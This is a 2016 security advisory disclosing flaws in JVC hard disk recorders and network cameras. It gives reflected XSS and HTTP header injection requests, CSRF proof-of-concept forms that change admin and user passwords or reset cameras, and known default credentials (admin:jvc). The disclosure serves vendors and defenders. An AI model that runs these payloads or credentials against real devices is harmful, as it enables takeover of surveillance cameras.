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www.orwelllabs.com
security advisory
olsa-2016-04-01
* Adivisory Information
+++++++++++++++++++++++
(+) Title: JVC Multiple Products Multiple Vulnerabilities
(+) Vendor: JVC Professional Video
(+) Research and Advisory: Orwelllabs
(+) Adivisory URL:
http://www.orwelllabs.com/2016/04/jvc-multiple-products-multiple.html
(+) OLSA-ID: OLSA-2016-04-01
(+) Affected Products: JVC HDR VR-809/816, Network cameras VN-C*, VN-V*,
VN-X* with firmwares 1.03 and 2.03
(+) IoT Attack Surface: Device Administrative Interface
(+) Owasp IoTTop10: I1, I2
* Overview
++++++++++
I1 - 1. Multiple Cross-site Scripting
I1 - 2. HTTP Header Injection
I1 - 3. Multiple Cross-site Request Forgery
I1 - 4. Cleartext sensitive data
I1 - 5. Weak Default Credentials/Known credentials
I2 - 6. Poorly Protected Credentials
1. Reflected Cross-site scripting
=================================
JVC Hard Disk Recorders are prone to XSS and HTTP Header Injection[2].
(+) Affected Products:
----------------------
JVC VR-809 HDR
JVC VR-816 HDR
(+) Technical Details/PoCs
--------------------------
(+) URL Trigger:
http://xxx.xxx.xxx.xxx/api/param?video.input(01).comment&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment
(+) Payload used [ *** XSS *** ]: <img src=a onerror=alert("0rwelll4bs")>
(+) affected script/path: /api/param?
(+) affected parameters (video.input.COMMENT):
+ video.input(01).comment[ *** XSS *** ]
+ video.input(02).comment[ *** XSS *** ]
+ video.input(03).comment[ *** XSS *** ]
+ video.input(04).comment[ *** XSS *** ]
+ video.input(05).comment[ *** XSS *** ]
+ video.input(06).comment[ *** XSS *** ]
+ video.input(07).comment[ *** XSS *** ]
+ video.input(08).comment[ *** XSS *** ]
+ video.input(09).comment[ *** XSS *** ]
(+) affected parameters (video.input.STATUS):
+ video.input(01).status[ *** XSS *** ]
+ video.input(02).status[ *** XSS *** ]
+ video.input(03).status[ *** XSS *** ]
+ video.input(04).status[ *** XSS *** ]
+ video.input(05).status[ *** XSS *** ]
+ video.input(06).status[ *** XSS *** ]
+ video.input(07).status[ *** XSS *** ]
+ video.input(08).status[ *** XSS *** ]
+ video.input(09).status[ *** XSS *** ]
(+) URL Trigger:
http://xxx.xxx.xxx.xxx/api/param?network.interface(01).dhcp.status[ *** XSS
***]
(+) affected parameters:
+ interface(01).dhcp.status[ *** XSS *** ]
* In fact the javascript can be triggered just requesting the '/api/param?'
directly with payload, like this:
(+) URL: http://xxx.xxx.xxx.xxx/api/param?[*** XSS *** ]
2. HTTP Header Injection
========================
The value of the "video.input(X).comment/status" request parameter is
copied into the 'X-Response' response header.
So the malicious payload submitted in the parameter generates a response
with an injected HTTP header.
> If you request the following URL with an Javascript Payload "[*** XSS
***]":
http://xxx.xxx.xxx.xxx/api/param?video.input(01).comment<img src=a
onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment
> It will gennerate the GET request bellow:
GET /api/param?video.input(01).comment<img src=a
onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment
HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/
Cookie: vrtypename=Hard%20Disk%20Recorder; vrmodelname=0rw3|||4bs
Authorization: Basic YWRtaW46anZj
Connection: keep-alive
> And we'll get the response from the server:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 564
X-Response: video.input(01).comment<img src=a
onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment
Cache-control: no-cache
Pragma: no-cache
Expires: Thu, 05 May 2016 14:20:45 GMT
Server: JVC VR-809/816 API Server/1.0.0
Date: Thu, 05 May 2016 14:20:45 GMT
The javascript payload will be inject in X-Response response Header field
3. Multiple Cross-site Request Forgery
======================================
Multiple products from JVC are prone to CSRF.
(+) Affected Products:
----------------------
The following products with firmware versions 1.03, 2.03 and early:
VN-C2WU
VN-C3U
VN-C1U
VN-C2U
VN-C3WU
VN-A1U
VN-C10U
VN-C11U
VN-C655U
VN-C625U
VN-C205U
VN-C215V4U
VN-C215VP4U
VN-V686U
VN-V686WPU
VN-V25U
VN-V26U
VN-X35U
VN-V685U
VN-V686WPBU
VN-X235VPU
VN-V225VPU
VN-X235U
VN-V225U
VN-V17U
VN-V217U
VN-V217VPU
VN-H157WPU
VN-T16U
VN-T216VPRU
(+) Technical Details/PoCs
--------------------------
> CSRF: to change 'admin' password to 'sm!thW'
<html>
<!-- Orwelllabs - JVC NetCams CSRF PoC -->
<body>
<form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi"
method="POST">
<input type="hidden" name="c20loadhtml"
value="c20systempassword.html" />
<input type="hidden" name="usermode" value="admin" />
<input type="hidden" name="newpassword" value="sm!thW" />
<input type="hidden" name="new2password" value="sm!thW" />
<input type="hidden" name="ok" value="OK" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
> CSRF: to set 'user' password to "w!nst0nSm!th"
<html>
<!-- Orwelllabs - JVC NetCams CSRF PoC -->
<body>
<form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi"
method="POST">
<input type="hidden" name="c20loadhtml"
value="c20systempassword.html" />
<input type="hidden" name="usermode" value="user" />
<input type="hidden" name="newpassword" value="w!nst0nSm!th" />
<input type="hidden" name="new2password" value="w!nst0nSm!th" />
<input type="hidden" name="ok" value="OK" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
> CSRF: to reinitialize the cam
<html>
<!-- Orwelllabs - JVC NetCams CSRF PoC -->
<body>
<form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi"
method="POST">
<input type="hidden" name="c20loadhtml"
value="c20systemmainte.html" />
<input type="hidden" name="init" value="Initialize" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
4. Cleartext sensitive data
===========================
By default everything is trasmite over HTTP, including credentials.
5. Weak Default Credentials/Known credentials
=============================================
The vast maiority of these devices remain with default credential admin:jvc
or admin:[model-of-camera] and costumers are not obligated to change it
during initial setup.
6. Poorly Protected Credentials
===============================
An attacker in the same network is able to capture and decode the
credentials as they aren't trasmited over HTTPs and are protected using
just
Base64 with Basic Authorization.
> Authentication process
GET /cgi-bin/x35viewing.cgi?x35ptzviewer.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: X35JPEGVIEWSIZE=VGA; X35JPEGDISP=OFF-OFF-OFF-OFF-1;
X35JPEGSTREAM=HTTP-5-225.0.1.1-49152; X35JPEGHTTPPORT=80;
X35FOLDERNAME=VN-X35; X35MPEG4VIEWSIZE=VGA; X35MPEG4DISP=OFF-OFF-OFF-1;
X35MPEG4STREAM=HTTP-225.0.2.1-59152; X35MPEG4HTTPPORT=80;
X35AUDIO=OFF-HTTP-225.0.3.1-39152-49298-80; X35PTZCTRL=w!nst0nSm!th
Connection: keep-alive
Authorization: Basic YWRtaW46anZj
*Once this is related with a old bad design is possible that a large range
of products are affected by reported issues.
Timeline
++++++++
2016-04-20: First attemp to contact Vendor
2016-04-22: Vendor asks for products affected/details sent
2016-04-26: Ask vendor for any news about the issues reported
2016-05-09: Until this date no response
2016-05-10: Full disclosure
Legal Notices
+++++++++++++
The information contained within this advisory and in any other published
by our lab is supplied "as-is" with no warranties or guarantees of fitness
of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.
About Orwelllabs
++++++++++++++++
Orwelllabs is an independent security research lab interested in IoT, what
means embedded devices and all its components like web applications,
network, mobile applications and all surface areas prone to attack.
Orwelllabs aims to study, learn and produce some intelligence around this
vast and confusing big picture called smart cities. We have special
appreciation for devices designed to provide security to these highly
technological cities, also known as Iost (Internet of Security Things ).
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